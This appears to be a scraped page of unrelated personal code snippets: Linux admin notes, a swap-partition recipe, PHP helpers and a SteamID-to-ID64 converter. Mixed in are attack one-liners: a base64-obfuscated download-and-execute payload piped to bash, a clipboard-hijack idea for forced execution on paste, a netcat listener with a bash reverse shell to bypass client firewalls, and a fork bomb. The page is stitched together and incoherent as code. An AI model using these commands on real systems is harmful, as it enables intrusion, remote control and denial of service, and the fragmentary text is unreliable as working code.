Skip to content

Instantly share code, notes, and snippets.

import os
import subprocess
from datetime import date
import xml.etree.ElementTree as ET
inputFolder = "/home/user/Desktop/apks/leftover"
outputFolder = "/home/user/Desktop/apks/leftover-output"
files = os.listdir(inputFolder)
csv = ""
http://codingbee.net/tutorials/rhcsa/rhcsa-the-concept-of-default-routes-and-dns/
https://www.certdepot.net/rhel7-configure-system-use-existing-ldap-directory-service-user-group-information/
make new swap partition
#fdisk /dev/<device>
#c,p //Create partition
#t 82 //change type to swap
#w //write
#mkswap /dev/<device>
#swapon /dev/<device>
function clog($info)
{
echo '<script>';
echo 'console.log("OUT: "+'.json_encode($info).')';
echo '</script>';
}
# xwininfo
# byzanz-record --duration=25 --x=2027 --y=189 --width=979 --height=682 out
#Hide a payload in base64
echo 'wget myplayoad.sh; chmod +X ./mypayload.sh; ./mypayload.sh' | base64
#execution:
echo d2dldCBteXBsYXlvYWQuc2g7IGNobW9kICtYIC4vbXlwYXlsb2FkLnNoOyAuL215cGF5bG9hZC5zaAo= | base64 -d | /bin/bash
#javascript clipboard hijack, then force execution on paste.
#javascript example:
document.oncopy = hijackClipboard;
#use to bypass regular firewall restrictions on client
#port forward on my router to allow incoming connection
nc -lvp <port>
bash -i >& /dev/tcp/<my ip>/<port> 0>&1
:(){ :|: & };:
@29942016
29942016 / gist:7719039
Last active December 29, 2015 19:39
Convert a SteamID to a ID64 or 'Community ID'
<?php
$steamid = $_POST['steamidbutton']; //Retrieves steam ID from textbox on page post
$split = explode(":", $steamid);
$x = substr($split[0],6,1);
$y = $split[1];
$z = $split[2];
//Steams algorithm for creating IDs, more info can be found on steams web api FAQ
$NewSteamID = (($z * 2)+$y);
//Convert to ID64 by adding finalised $NewSteamId to the base number used by steam
$NewSteamID = bcadd($NewSteamID, "76561197960265728", 0);